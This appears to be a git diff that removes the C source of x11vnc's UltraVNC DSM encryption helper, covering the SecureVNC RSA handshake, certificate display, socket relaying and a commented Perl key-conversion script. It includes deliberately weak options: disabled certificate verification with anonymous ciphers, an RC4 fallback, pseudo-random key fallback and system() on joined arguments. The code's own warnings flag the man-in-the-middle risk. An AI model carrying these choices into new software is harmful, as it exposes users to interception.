- fprintf(stderr, "checkserver_rsa: rsa keystore contents differ for '%s'\n", file);
- fprintf(stderr, "checkserver_rsa: MD5 sum of server key: %s\n", str1);
- fprintf(stderr, "checkserver_rsa: MD5 sum of keystore: %s\n", str2);
- }
- return ok;
- } else {
-
- fprintf(stderr, "checkserver_rsa: rsa keystore file does not exist: '%s'\n", file);
- fprintf(stderr, "checkserver_rsa: asking user if we should store rsa key in it.\n\n");
- fprintf(stderr, "checkserver_rsa: RSA key has MD5 sum: %s\n\n", md5str);
-
- return securevnc_server_rsa_save_dialog(file, md5str, rsabuf);
- }
-}
-
-static RSA *load_client_auth(char *file) {
- struct stat sb;
- int fd, n;
- char *contents;
- RSA *rsa;
-
- if (!file) {
- return NULL;
- }
- if (stat(file, &sb) != 0) {
- return NULL;
- }
-
- fd = open(file, O_RDONLY);
- if (fd < 0) {
- fprintf(stderr, "load_client_auth: could not open: '%s'\n", file);
- return NULL;
- }
-
- contents = (char *) malloc(sb.st_size);
- n = (int) read(fd, contents, sb.st_size);
- close(fd);
-
- if (n != sb.st_size) {
- fprintf(stderr, "load_client_auth: could not read all of: '%s'\n", file);
- free(contents);
- return NULL;
- }
-
- rsa = d2i_RSAPrivateKey(NULL, (const unsigned char **) ((void *) &contents), sb.st_size);
- if (!rsa) {
- fprintf(stderr, "load_client_auth: d2i_RSAPrivateKey failed for: '%s'\n", file);
- return NULL;
- }
-
- if (RSA_check_key(rsa) != 1) {
- fprintf(stderr, "load_client_auth: rsa key invalid: '%s'\n", file);
- return NULL;
- }
-
- return rsa;
-}
-
-static void sslexit(char *msg) {
- fprintf(stderr, "%s: %s\n", msg, ERR_error_string(ERR_get_error(), NULL));
- exit(1);
-}
-
-static void securevnc_setup(int conn1, int conn2) {
- RSA *rsa = NULL;
- EVP_CIPHER_CTX init_ctx;
- unsigned char keystr[EVP_MAX_KEY_LENGTH];
- unsigned char *rsabuf, *rsasav;
- unsigned char *encrypted_keybuf;
- unsigned char *initkey;
- unsigned int server_flags = 0;
- unsigned char one = 1, zero = 0, sig = 16;
- unsigned char b1, b2, b3, b4;
- unsigned char buf[BSIZE], to_viewer[BSIZE];
- int to_viewer_len = 0;
- int n = 0, len, rc;
- int server = reverse ? conn1 : conn2;
- int viewer = reverse ? conn2 : conn1;
- char *client_auth = NULL;
- int client_auth_req = 0;
- int keystore_verified = 0;
-
- ERR_load_crypto_strings();
-
- /* alloc and read from server the 270 comprising the rsa public key: */
- rsabuf = (unsigned char *) calloc(SECUREVNC_RSA_PUBKEY_SIZE, 1);
- rsasav = (unsigned char *) calloc(SECUREVNC_RSA_PUBKEY_SIZE, 1);
- len = 0;
- while (len < SECUREVNC_RSA_PUBKEY_SIZE) {
- n = read(server, rsabuf + len, SECUREVNC_RSA_PUBKEY_SIZE - len);
- if (n == 0 || (n < 0 && errno != EINTR)) {
- fprintf(stderr, "securevnc_setup: fail read rsabuf: n=%d len=%d\n", n, len);
- exit(1);
- }
- len += n;
- }
- if (len != SECUREVNC_RSA_PUBKEY_SIZE) {
- fprintf(stderr, "securevnc_setup: fail final read rsabuf: n=%d len=%d\n", n, len);
- exit(1);
- }
- fprintf(stderr, "securevnc_setup: rsa data read len: %d\n", len);
- memcpy(rsasav, rsabuf, SECUREVNC_RSA_PUBKEY_SIZE);
-
- fprintf(stderr, "securevnc_setup: RSA key has MD5 sum: %s\n", rsa_md5_sum(rsabuf));
- fprintf(stderr, "securevnc_setup:\n");
- fprintf(stderr, "securevnc_setup: One way to print out the SecureVNC Server key MD5 sum is:\n\n");
- fprintf(stderr, "openssl rsa -inform DER -outform DER -pubout -in ./Server_SecureVNC.pkey | dd bs=1 skip=24 | md5sum\n\n");
- if (securevnc_file == NULL) {
- fprintf(stderr, "securevnc_setup:\n");
- fprintf(stderr, "securevnc_setup: ** WARNING: ULTRAVNC SERVER RSA KEY NOT VERIFIED. **\n");
- fprintf(stderr, "securevnc_setup: ** WARNING: A MAN-IN-THE-MIDDLE ATTACK IS POSSIBLE. **\n");
- fprintf(stderr, "securevnc_setup:\n");
- } else {
- char *q = strrchr(securevnc_file, 'C');
- int skip = 0;
- if (q) {
- if (!strcmp(q, "ClientAuth.pkey")) {
- client_auth = strdup(securevnc_file);
- skip = 1;
- } else if (!strcmp(q, "ClientAuth.pkey.rsa")) {
- client_auth = strdup(securevnc_file);
- q = strrchr(client_auth, '.');
- *q = '\0';
- }
- }
- if (!skip) {
- rc = securevnc_check_server_rsa(securevnc_file, rsabuf);
- }
- if (skip) {
- ;
- } else if (rc == 0) {
- fprintf(stderr, "securevnc_setup:\n");
- fprintf(stderr, "securevnc_setup: VERIFY_ERROR: SERVER RSA KEY DID NOT MATCH:\n");
- fprintf(stderr, "securevnc_setup: %s\n", securevnc_file);
- fprintf(stderr, "securevnc_setup:\n");
- exit(1);
- } else if (rc == -1) {
- fprintf(stderr, "securevnc_setup: User cancelled the save and hence the connection.\n");
- fprintf(stderr, "securevnc_setup: %s\n", securevnc_file);
- exit(1);
- } else if (rc == 1) {
- fprintf(stderr, "securevnc_setup: VERIFY SUCCESS: server rsa key matches the contents of:\n");
- fprintf(stderr, "securevnc_setup: %s\n", securevnc_file);
- keystore_verified = 1;
- } else if (rc == 2) {
- fprintf(stderr, "securevnc_setup: Server rsa key stored in:\n");
- fprintf(stderr, "securevnc_setup: %s\n", securevnc_file);
- keystore_verified = 2;
- }
- }
-
- /*
- * read in the server flags. Note that SecureVNCPlugin sends these
- * in little endian and not network order!!
- */
- read(server, (char *) &b1, 1);
- read(server, (char *) &b2, 1);
- read(server, (char *) &b3, 1);
- read(server, (char *) &b4, 1);
-
- server_flags = 0;
- server_flags |= ((unsigned int) b4) << 24;
- server_flags |= ((unsigned int) b3) << 16;
- server_flags |= ((unsigned int) b2) << 8;
- server_flags |= ((unsigned int) b1) << 0;
- fprintf(stderr, "securevnc_setup: server_flags: 0x%08x\n", server_flags);
-
- /* check for arc4 usage: */
- if (server_flags & 0x1) {
- fprintf(stderr, "securevnc_setup: server uses AES cipher.\n");
- } else {
- fprintf(stderr, "securevnc_setup: server uses ARC4 cipher.\n");
- securevnc_arc4 = 1;
- Cipher = EVP_rc4();
- }
-
- /* check for client auth signature requirement: */
- if (server_flags & (sig << 24)) {
- fprintf(stderr, "securevnc_setup: server requires Client Auth signature.\n");
- client_auth_req = 1;
- if (!client_auth) {
- fprintf(stderr, "securevnc_setup: However, NO *ClientAuth.pkey keyfile was supplied on our\n");
- fprintf(stderr, "securevnc_setup: command line. Exiting.\n");
- exit(1);
- }
- }
-
- /*
- * The first packet 'RFB 003.006' is obscured with key
- * that is a sha1 hash of public key. So make this tmp key now:
- *
- */
- initkey = (unsigned char *) calloc(SECUREVNC_KEY_SIZE, 1);
- EVP_BytesToKey(EVP_rc4(), EVP_sha1(), NULL, rsabuf, SECUREVNC_RSA_PUBKEY_SIZE, 1, initkey, NULL);
-
- /* expand the transported rsabuf into an rsa object */
- rsa = d2i_RSAPublicKey(NULL, (const unsigned char **) &rsabuf, SECUREVNC_RSA_PUBKEY_SIZE);
- if (rsa == NULL) {
- sslexit("securevnc_setup: failed to create rsa");
- }
-
- /*
- * Back to the work involving the tmp obscuring key:
- */
- EVP_CIPHER_CTX_init(&init_ctx);
- rc = EVP_CipherInit_ex(&init_ctx, EVP_rc4(), NULL, initkey, NULL, 1);
- if (rc == 0) {
- sslexit("securevnc_setup: EVP_CipherInit_ex(init_ctx) failed");
- }
-
- /* for the first obscured packet, read what we can... */
- n = read(server, (char *) buf, BSIZE);
- fprintf(stderr, "securevnc_setup: data read: %d\n", n);
- if (n < 0) {
- exit(1);
- }
- fprintf(stderr, "securevnc_setup: initial data[%d]: ", n);
-
- /* decode with the tmp key */
- if (n > 0) {
- memset(to_viewer, 0, sizeof(to_viewer));
- if (EVP_CipherUpdate(&init_ctx, to_viewer, &len, buf, n) == 0) {
- sslexit("securevnc_setup: EVP_CipherUpdate(init_ctx) failed");
- exit(1);
- }
- to_viewer_len = len;
- }
- EVP_CIPHER_CTX_cleanup(&init_ctx);
- free(initkey);
-
- /* print what we would send to the viewer (sent below): */
- write(2, to_viewer, 12); /* and first 12 bytes 'RFB ...' as message */
-
- /* now create the random session key: */
- encrypted_keybuf = (unsigned char*) calloc(RSA_size(rsa), 1);
-
- fprintf(stderr, "securevnc_setup: creating random session key: %d/%d\n",
- SECUREVNC_KEY_SIZE, SECUREVNC_RAND_KEY_SOURCE);
- keydata_len = SECUREVNC_RAND_KEY_SOURCE;
-
- rc = RAND_bytes((unsigned char *)keydata, SECUREVNC_RAND_KEY_SOURCE);
- if (rc <= 0) {
- fprintf(stderr, "securevnc_setup: RAND_bytes() failed: %s\n", ERR_error_string(ERR_get_error(), NULL));
- rc = RAND_pseudo_bytes((unsigned char *)keydata, SECUREVNC_RAND_KEY_SOURCE);
- fprintf(stderr, "securevnc_setup: RAND_pseudo_bytes() rc=%d\n", rc);
- if (getenv("RANDSTR")) {
- char *s = getenv("RANDSTR");
- fprintf(stderr, "securevnc_setup: seeding with RANDSTR len=%d\n", strlen(s));
- RAND_add(s, strlen(s), strlen(s));
- }
- }
-
- /* N.B. this will be repeated in enc_xfer() setup. */
- EVP_BytesToKey(Cipher, Digest, NULL, (unsigned char *) keydata, keydata_len, 1, keystr, NULL);
-
- /* encrypt the session key with the server's public rsa key: */
- n = RSA_public_encrypt(SECUREVNC_KEY_SIZE, keystr, encrypted_keybuf, rsa, RSA_PKCS1_PADDING);
- if (n == -1) {
- sslexit("securevnc_setup: RSA_public_encrypt() failed");
- exit(1);
- }
- fprintf(stderr, "securevnc_setup: encrypted session key size: %d. sending to server.\n", n);
-
- /* send it to the server: */
- write(server, encrypted_keybuf, n);
- free(encrypted_keybuf);
-
- /*
- * Reply back with flags indicating cipher (same as one sent to
- * us) and we do not want client-side auth.
- *
- * We send it out on the wire in little endian order:
- */
- if (securevnc_arc4) {
- write(server, (char *)&zero, 1);
- } else {
- write(server, (char *)&one, 1);
- }
- write(server, (char *)&zero, 1);
- write(server, (char *)&zero, 1);
- if (client_auth_req) {
- write(server, (char *)&sig, 1);
- } else {
- write(server, (char *)&zero, 1);
- }
-
- if (client_auth_req && client_auth) {
- RSA *client_rsa = load_client_auth(client_auth);
- EVP_MD_CTX dctx;
- unsigned char digest[EVP_MAX_MD_SIZE], *signature;
- unsigned int ndig = 0, nsig = 0;
-
- if (0) {
- /* for testing only, use the wrong RSA key: */
- client_rsa = RSA_generate_key(2048, 0x10001, NULL, NULL);
- }
-
- if (client_rsa == NULL) {
- fprintf(stderr, "securevnc_setup: problem reading rsa key from '%s'\n", client_auth);
- exit(1);
- }
-
- EVP_DigestInit(&dctx, EVP_sha1());
- EVP_DigestUpdate(&dctx, keystr, SECUREVNC_KEY_SIZE);
- /*
- * Without something like the following MITM is still possible.
- * This is because the MITM knows keystr and can use it with
- * the server connection as well, and then he just forwards our
- * signed digest. The additional information below would be the
- * MITM's rsa public key, and so the real VNC server will notice
- * the difference. And MITM can't sign keystr+server_rsa.pub since
- * he doesn't have Viewer_ClientAuth.pkey.
- */
- if (0) {
- EVP_DigestUpdate(&dctx, rsasav, SECUREVNC_RSA_PUBKEY_SIZE);
- if (!keystore_verified) {
- fprintf(stderr, "securevnc_setup:\n");
- fprintf(stderr, "securevnc_setup: Warning: even *WITH* Client Authentication in SecureVNC,\n");
- fprintf(stderr, "securevnc_setup: an attacker may be able to trick you into connecting to his\n");
- fprintf(stderr, "securevnc_setup: fake VNC server and supplying VNC or Windows passwords, etc.\n");
- fprintf(stderr, "securevnc_setup: To increase security manually verify the Server RSA key's MD5\n");
- fprintf(stderr, "securevnc_setup: checksum and then have SSVNC save the key in its keystore to\n");
- fprintf(stderr, "securevnc_setup: be used to verify the server in subsequent connections.\n");
- fprintf(stderr, "securevnc_setup:\n");
- }
- } else {
- if (!keystore_verified) {
- fprintf(stderr, "securevnc_setup:\n");
- fprintf(stderr, "securevnc_setup: WARNING: THE FIRST VERSION OF THE SECUREVNC PROTOCOL IS\n");
- fprintf(stderr, "securevnc_setup: WARNING: BEING USED. *EVEN* WITH CLIENT AUTHENTICATION IT\n");
- fprintf(stderr, "securevnc_setup: WARNING: IS SUSCEPTIBLE TO A MAN-IN-THE-MIDDLE ATTACK.\n");
- fprintf(stderr, "securevnc_setup: To increase security manually verify the Server RSA key's MD5\n");
- fprintf(stderr, "securevnc_setup: checksum and then have SSVNC save the key in its keystore to\n");
- fprintf(stderr, "securevnc_setup: be used to verify the server in subsequent connections.\n");
- fprintf(stderr, "securevnc_setup:\n");
- }
- }
- EVP_DigestFinal(&dctx, (unsigned char *)digest, &ndig);
-
- signature = (unsigned char *) calloc(RSA_size(client_rsa), 1);
- RSA_sign(NID_sha1, digest, ndig, signature, &nsig, client_rsa);
-
- fprintf(stderr, "securevnc_setup: sending ClientAuth.pkey signed data: %d\n", nsig);
- write(server, signature, nsig);
- free(signature);
-
- RSA_free(client_rsa);
- }
-
- fprintf(stderr, "securevnc_setup: done.\n");
-
- /* now send the 'RFB ...' to the viewer */
- if (to_viewer_len > 0) {
- write(viewer, to_viewer, to_viewer_len);
- }
-}
-
-#ifndef ENC_DISABLE_SHOW_CERT
-static void enc_sslerrexit(void) {
- unsigned long err = ERR_get_error();
-
- if (err) {
- char str[256];
- ERR_error_string(err, str);
- fprintf(stdout, "ssl error: %s\n", str);
- }
- exit(1);
-}
-#endif
-
-static void show_cert(int sock) {
-#ifndef ENC_DISABLE_SHOW_CERT
- SSL_CTX *ctx;
- SSL *ssl = NULL;
- STACK_OF(X509) *sk = NULL;
- X509 *peer = NULL;
- SSL_CIPHER *c;
- BIO *bio;
- unsigned char *sid = (unsigned char *) "ultravnc_dsm_helper SID";
- long mode;
- int i;
-
- fprintf(stdout, "CONNECTED(%08X)\n",sock);
-
- SSL_library_init();
- SSL_load_error_strings();
-
- if (!RAND_status()) {
- RAND_poll();
- }
- /* this is not for a secured connection. */
- for (i=0; i < 100; i++) {
- if (!RAND_status()) {
- char tmp[32];
- sprintf(tmp, "%d", getpid() * (17 + i));
- RAND_add(tmp, strlen(tmp), 5);
- } else {
- break;
- }
- }
-
- ctx = SSL_CTX_new( SSLv23_client_method() );
- if (ctx == NULL) {
- fprintf(stdout, "show_cert: SSL_CTX_new failed.\n");
- close(sock);
- enc_sslerrexit();
- }
-
- mode = 0;
- mode |= SSL_MODE_ENABLE_PARTIAL_WRITE;
- mode |= SSL_MODE_ACCEPT_MOVING_WRITE_BUFFER;
- SSL_CTX_set_mode(ctx, mode);
-
- if (getenv("ULTRAVNC_DSM_HELPER_SHOWCERT_ADH")) {
- SSL_CTX_set_cipher_list(ctx, "ADH:@STRENGTH");
- SSL_CTX_set_verify(ctx, SSL_VERIFY_NONE, NULL);
- }
-
- ssl = SSL_new(ctx);
-
- if (ssl == NULL) {
- fprintf(stdout, "show_cert: SSL_new failed.\n");
- close(sock);
- enc_sslerrexit();
- }
-
- SSL_set_session_id_context(ssl, sid, strlen((char *)sid));
-
- if (! SSL_set_fd(ssl, sock)) {
- fprintf(stdout, "show_cert: SSL_set_fd failed.\n");
- close(sock);
- enc_sslerrexit();
- }
-
- SSL_set_connect_state(ssl);
-
- if (SSL_connect(ssl) <= 0) {
- unsigned long err = ERR_get_error();
- fprintf(stdout, "show_cert: SSL_connect failed.\n");
- if (err) {
- char str[256];
- ERR_error_string(err, str);
- fprintf(stdout, "ssl error: %s\n", str);
- }
- }
-
- SSL_get_verify_result(ssl);
-
- sk = SSL_get_peer_cert_chain(ssl);
- if (sk != NULL) {
- fprintf(stdout, "---\nCertificate chain\n");
- for (i=0; i < sk_X509_num(sk); i++) {
- char buf[2048];
- X509_NAME_oneline(X509_get_subject_name(sk_X509_value(sk,i)), buf, sizeof buf);
- fprintf(stdout, "%2d s:%s\n", i, buf);
- X509_NAME_oneline(X509_get_issuer_name(sk_X509_value(sk,i)), buf, sizeof buf);
- fprintf(stdout, " i:%s\n", buf);
- }
- } else {
- fprintf(stdout, "show_cert: SSL_get_peer_cert_chain failed.\n");
- }
- fprintf(stdout, "---\n");
- peer = SSL_get_peer_certificate(ssl);
- bio = BIO_new_fp(stdout, BIO_NOCLOSE);
- if (peer != NULL) {
- char buf[2048];
- BIO_printf(bio,"Server certificate\n");
- PEM_write_bio_X509(bio, peer);
-
- X509_NAME_oneline(X509_get_subject_name(peer), buf, sizeof buf);
- BIO_printf(bio,"subject=%s\n",buf);
- X509_NAME_oneline(X509_get_issuer_name(peer), buf, sizeof buf);
- BIO_printf(bio,"issuer=%s\n",buf);
- } else {
- fprintf(stdout, "show_cert: SSL_get_peer_certificate failed.\n");
- }
-
- c = SSL_get_current_cipher(ssl);
- BIO_printf(bio,"---\nNew, %s, Cipher is %s\n", SSL_CIPHER_get_version(c), SSL_CIPHER_get_name(c));
-
- if (peer != NULL) {
- EVP_PKEY *pktmp;
- pktmp = X509_get_pubkey(peer);
- BIO_printf(bio,"Server public key is %d bit\n", EVP_PKEY_bits(pktmp));
- EVP_PKEY_free(pktmp);
- }
- BIO_printf(bio,"---\nDONE\n---\n");
-
- fflush(stdout);
-
-#endif
- close(sock);
- exit(0);
-}
-
-#ifndef SOL_IPV6
-#ifdef IPPROTO_IPV6
-#define SOL_IPV6 IPPROTO_IPV6
-#endif
-#endif
-
-/*
- * Listens on incoming port for a client, then connects to remote server.
- * Then forks into two processes one is the encrypter the other the
- * decrypter.
- */
-static void enc_connections(int listen_port, char *connect_host, int connect_port) {
- int listen_fd = -1, listen_fd6 = -1, conn1 = -1, conn2 = -1, ret, one = 1;
- socklen_t clen;
- struct hostent *hp;
- struct sockaddr_in client, server;
- fd_set fds;
- int maxfd = -1;
-
- /* zero means use stdio (preferably from socketpair()) */
- if (listen_port == 0) {
- conn1 = fileno(stdin);
- goto use_stdio;
- }
-
- if (!strcmp(cipher, "showcert")) {
- goto use_stdio;
- }
-
- /* fd=n,m means use the supplied already established sockets */
- if (sscanf(connect_host, "fd=%d,%d", &conn1, &conn2) == 2) {
- goto use_input_fds;
- }
-
- /* create the listening socket: */
- memset(&client, 0, sizeof(client));
- client.sin_family = AF_INET;
- if (listen_port < 0) {
- /* negative port means use loopback */
- client.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
- client.sin_port = htons(-listen_port);
- } else {
- client.sin_addr.s_addr = htonl(INADDR_ANY);
- client.sin_port = htons(listen_port);
- }
-
- listen_fd = socket(AF_INET, SOCK_STREAM, 0);
- if (listen_fd < 0) {
- perror("socket");
- goto try6;
- }
-
- ret = setsockopt(listen_fd, SOL_SOCKET, SO_REUSEADDR,
- (char *)&one, sizeof(one));
- if (ret < 0) {
- perror("setsockopt");
- close(listen_fd);
- listen_fd = -1;
- goto try6;
- }
-
- ret = bind(listen_fd, (struct sockaddr *) &client, sizeof(client));
- if (ret < 0) {
- perror("bind");
- close(listen_fd);
- listen_fd = -1;
- goto try6;
- }
-
- ret = listen(listen_fd, 2);
- if (ret < 0) {
- perror("listen");
- close(listen_fd);
- listen_fd = -1;
- goto try6;
- }
-
- try6:
-#ifdef AF_INET6
- if (!getenv("ULTRAVNC_DSM_HELPER_NOIPV6")) {
- struct sockaddr_in6 sin;
- int one = 1, sock = -1;
-
- sock = socket(AF_INET6, SOCK_STREAM, 0);
- if (sock < 0) {
- perror("socket6");
- goto fail;
- }
-
- if (setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, (char *)&one, sizeof(one)) < 0) {
- perror("setsockopt6 SO_REUSEADDR");
- close(sock);
- sock = -1;
- goto fail;
- }
-
-#if defined(SOL_IPV6) && defined(IPV6_V6ONLY)
- if (setsockopt(sock, SOL_IPV6, IPV6_V6ONLY, (char *)&one, sizeof(one)) < 0) {
- perror("setsockopt6 IPV6_V6ONLY");
- close(sock);
- sock = -1;
- goto fail;
- }
-#endif
-
- memset((char *)&sin, 0, sizeof(sin));
- sin.sin6_family = AF_INET6;
-
- if (listen_port < 0) {
- sin.sin6_addr = in6addr_loopback;
- sin.sin6_port = htons(-listen_port);
- } else {
- sin.sin6_addr = in6addr_any;
- sin.sin6_port = htons(listen_port);
- }
-
- if (bind(sock, (struct sockaddr *) &sin, sizeof(sin)) < 0) {
- perror("bind6");
- close(sock);
- sock = -1;
- goto fail;
- }
-
- if (listen(sock, 2) < 0) {
- perror("listen6");
- close(sock);
- sock = -1;
- goto fail;
- }
-
- fail:
- listen_fd6 = sock;
- }
-#endif
-
- if (listen_fd < 0 && listen_fd6 < 0) {
- fprintf(stderr, "%s: could not listen on port: %d\n",
- prog, listen_port);
- exit(1);
- }
-
- fprintf(stderr, "%s: waiting for connection on port: %d\n",
- prog, listen_port);
-
- /* wait for a connection: */
- FD_ZERO(&fds);
- if (listen_fd >= 0) {
- FD_SET(listen_fd, &fds);
- if (listen_fd > maxfd) {
- maxfd = listen_fd;
- }
- }
- if (listen_fd6 >= 0) {
- FD_SET(listen_fd6, &fds);
- if (listen_fd6 > maxfd) {
- maxfd = listen_fd6;
- }
- }
- if (select(maxfd+1, &fds, NULL, NULL, NULL) <= 0) {
- perror("select");
- exit(1);
- }
-
- if (FD_ISSET(listen_fd, &fds)) {
- clen = sizeof(client);
- conn1 = accept(listen_fd, (struct sockaddr *) &client, &clen);
- if (conn1 < 0) {
- perror("accept");
- exit(1);
- }
- } else if (FD_ISSET(listen_fd6, &fds)) {
-#ifdef AF_INET6
- struct sockaddr_in6 addr;
- socklen_t addrlen = sizeof(addr);
-
- conn1 = accept(listen_fd6, (struct sockaddr *) &addr, &addrlen);
- if (conn1 < 0) {
- perror("accept6");
- exit(1);
- }
-#else
- fprintf(stderr, "No IPv6 / AF_INET6 support.\n");
- exit(1);
-#endif
- }
-
- if (setsockopt(conn1, IPPROTO_TCP, TCP_NODELAY, (char *)&one, sizeof(one)) < 0) {
- perror("setsockopt TCP_NODELAY");
- exit(1);
- }
-
- /* done with the listening socket(s): */
- if (listen_fd >= 0) {
- close(listen_fd);
- }
- if (listen_fd6 >= 0) {
- close(listen_fd6);
- }
-
- if (getenv("ULTRAVNC_DSM_HELPER_BG")) {
- int p, n;
- if ((p = fork()) > 0) {
- fprintf(stderr, "%s: putting child %d in background.\n",
- prog, p);
- exit(0);
- } else if (p == -1) {
- fprintf(stderr, "%s: could not fork\n", prog);
- perror("fork");
- exit(1);
- }
- if (setsid() == -1) {
- fprintf(stderr, "%s: setsid failed\n", prog);
- perror("setsid");
- exit(1);
- }
- /* adjust our stdio */
- n = open("/dev/null", O_RDONLY);
- dup2(n, 0);
- dup2(n, 1);
- dup2(n, 2);
- if (n > 2) {
- close(n);
- }
- }
-
- use_stdio:
-
- fprintf(stderr, "%s: got connection: %d\n", prog, conn1);
-
- /* now connect to remote server: */
- memset(&server, 0, sizeof(server));
- server.sin_family = AF_INET;
- server.sin_port = htons(connect_port);
-
- if ((server.sin_addr.s_addr = inet_addr(connect_host)) == htonl(INADDR_NONE)) {
- if (!(hp = gethostbyname(connect_host))) {
- perror("gethostbyname");
- goto tryconn6;
- }
- server.sin_addr.s_addr = *(unsigned long *)hp->h_addr;
- }
-
- conn2 = socket(AF_INET, SOCK_STREAM, 0);
- if (conn2 < 0) {
- perror("socket");
- goto tryconn6;
- }
-
- if (connect(conn2, (struct sockaddr *)&server, (sizeof(server))) < 0) {
- perror("connect");
- goto tryconn6;
- }
-
- tryconn6:
-#ifdef AF_INET6
- if (conn2 < 0 && !getenv("ULTRAVNC_DSM_HELPER_NOIPV6")) {
- int err;
- struct addrinfo *ai;
- struct addrinfo hints;
- char service[32];
-
- fprintf(stderr, "connect[ipv6]: trying to connect via IPv6 to %s\n", connect_host);
- conn2 = -1;
-
- memset(&hints, 0, sizeof(hints));
- sprintf(service, "%d", connect_port);
-
- hints.ai_family = AF_UNSPEC;
- hints.ai_socktype = SOCK_STREAM;
-#ifdef AI_ADDRCONFIG
- hints.ai_flags |= AI_ADDRCONFIG;
-#endif
-#ifdef AI_NUMERICSERV
- hints.ai_flags |= AI_NUMERICSERV;
-#endif
-
- err = getaddrinfo(connect_host, service, &hints, &ai);
- if (err != 0) {
- fprintf(stderr, "getaddrinfo[%d]: %s\n", err, gai_strerror(err));
- } else {
- struct addrinfo *ap = ai;
- while (ap != NULL) {
- int fd = -1;
- fd = socket(ap->ai_family, ap->ai_socktype, ap->ai_protocol);
- if (fd == -1) {
- perror("socket6");
- } else {
- int dmsg = 0;
- int res = connect(fd, ap->ai_addr, ap->ai_addrlen);
-#if defined(SOL_IPV6) && defined(IPV6_V6ONLY)
- if (res != 0) {
- int zero = 0;
- perror("connect6");
- dmsg = 1;
- if (setsockopt(fd, SOL_IPV6, IPV6_V6ONLY, (char *)&zero, sizeof(zero)) == 0) {
- fprintf(stderr, "connect[ipv6]: trying again with IPV6_V6ONLY=0\n");
- res = connect(fd, ap->ai_addr, ap->ai_addrlen);
- dmsg = 0;
- }
- }
-#endif
- if (res == 0) {
- conn2 = fd;
- break;
- } else {
- if (!dmsg) perror("connect6");
- close(fd);
- }
- }
- ap = ap->ai_next;
- }
- freeaddrinfo(ai);
- }
- }
-#endif
- if (conn2 < 0) {
- fprintf(stderr, "could not connect to %s\n", connect_host);
- exit(1);
- }
- if (conn2 >= 0 && setsockopt(conn2, IPPROTO_TCP, TCP_NODELAY, (char *)&one, sizeof(one)) < 0) {
- perror("setsockopt TCP_NODELAY");
- }
-
- use_input_fds:
-
- if (!strcmp(cipher, "showcert")) {
- show_cert(conn2);
- close(conn2);
- exit(0);
- }
-
- if (securevnc) {
- securevnc_setup(conn1, conn2);
- }
-
- /* fork into two processes; one for each direction: */
- parent = getpid();
-
- child = fork();
-
- if (child == (pid_t) -1) {
- /* couldn't fork... */
- perror("fork");
- close(conn1);
- close(conn2);
- exit(1);
- }
-
- /* Do transfer/encode/decode loop: */
-
- if (child == 0) {
- /* encrypter: local-viewer -> remote-server */
- if (!strcmp(cipher, "none") || !strcmp(cipher, "relay")) {
- enc_raw_xfer(conn1, conn2);
- } else {
- enc_xfer(conn1, conn2, 1);
- }
- } else {
- /* decrypter: remote-server -> local-viewer */
- if (!strcmp(cipher, "none") || !strcmp(cipher, "relay")) {
- enc_raw_xfer(conn2, conn1);
- } else {
- enc_xfer(conn2, conn1, 0);
- }
- }
-}
-#endif /* ENC_HAVE_OPENSSL */
-
-static void doloop (int argc, char *argv[]) {
- int ms = atoi(getenv("ULTRAVNC_DSM_HELPER_LOOP"));
- if (ms > 0) {
- char *cmd;
- int i, len = 0;
- for (i = 0; i < argc; i++) {
- len += strlen(argv[i]) + 2;
- }
- cmd = (char *)malloc(len);
- cmd[0] = '\0';
- for (i = 0; i < argc; i++) {
- strcat(cmd, argv[i]);
- if (i < argc - 1) {
- strcat(cmd, " ");
- }
- }
-
- putenv("ULTRAVNC_DSM_HELPER_LOOP_SET=1");
- if (ms == 1) {
- ms = 500;
- }
- i = 0;
- while (1) {
- fprintf(stderr, "loop running[%d]: %s\n", ++i, cmd);
- system(cmd);
- usleep(1000 * ms);
- }
- }
-}
-
-extern int main (int argc, char *argv[]) {
- char *kf, *q;
-
- if (getenv("ULTRAVNC_DSM_HELPER_LOOP")) {
- if (!getenv("ULTRAVNC_DSM_HELPER_LOOP_SET")) {
- doloop(argc, argv);
- }
- }
-
- if (argc == 3) {
- if (!strcmp(argv[1], "showcert")) {
- enc_do(argv[1], NULL, NULL, argv[2]);
- return 0;
- }
- }
- if (argc == 4) {
- if (!strcmp(argv[1], "none") || !strcmp(argv[1], "relay")) {
- enc_do(argv[1], NULL, argv[2], argv[3]);
- return 0;
- }
- }
- if (argc < 5) {
- fprintf(stdout, "%s\n", usage);
- exit(1);
- }
-
- /* guard against pw= on cmdline (e.g. linux) */
- kf = strdup(argv[2]);
- q = strstr(argv[2], "pw=");
- if (q) {
- while (*q != '\0') {
- *q = '\0'; /* now ps(1) won't show it */
- q++;
- }
- }
-
- enc_do(argv[1], kf, argv[3], argv[4]);
-
- return 0;
-}
-
-/*
- * a crude utility to have this work "keyless" i.e. the vnc password
- * is used instead of a pre-shared key file.
- */
-
-/*
-
-#!/usr/bin/perl
-#
-# md5_to_rc4key.pl
-#
-# This program requires md5sum(1) installed on your machine.
-#
-# It translates a VNC password to a ultravnc dsm plugin
-# compatible key file.
-#
-# Supply VNC password on cmdline, capture in key file:
-#
-# md5_to_rc4key.pl swordfish > rc4.key
-# md5_to_rc4key.pl -a swordfish > arc4.key
-#
-# Use rc4.key with ultravnc_dsm_helper in msrc4 mode,
-# or arc4.key in either arc4 or aesv4 mode.
-#
-#
-$rfmt = 1;
-if ($ARGV[0] eq '-a') {
- $rfmt = 0;
- shift;
-}
-
-# n.b. this is not super secure against bad locals...
-
-$pw = shift;
-$tmp = "/tmp/md5out.$$";
-
-open(MD5, "| md5sum > $tmp");
-print MD5 $pw;
-close MD5;
-
-$md5 = `cat $tmp`;
-unlink $tmp;
-
-($md5, $junk) = split(/\s/, $md5);
-
-print "128 bit" if $rfmt;
-print 'a' x 4 if $rfmt;
-print 'b' x 12 if $rfmt;
-
-$str = '';
-foreach $d (split(//, $md5)) {
- $str .= $d;
- if (length($str) == 2) {
- push @key, $str;
- $str = '';
- }
-}
-
-@key = (reverse @key) if $rfmt;
-
-foreach $h (@key) {
- $c = pack('c', hex("0x$h"));
- print $c;
-}
-
-print 'c' x 48 if $rfmt;
-
-*/
-#endif /* _X11VNC_ENC_H */
diff --git a/x11vnc/enums.h b/x11vnc/enums.h
deleted file mode 100644
index d9ce84c..0000000
--- a/x11vnc/enums.h
+++ /dev/null
@@ -1,54 +0,0 @@
-/*
- Copyright (C) 2002-2010 Karl J. Runge <runge@karlrunge.com>
- All rights reserved.
-
-This file is part of x11vnc.
-
-x11vnc is free software; you can redistribute it and/or modify
-it under the terms of the GNU General Public License as published by
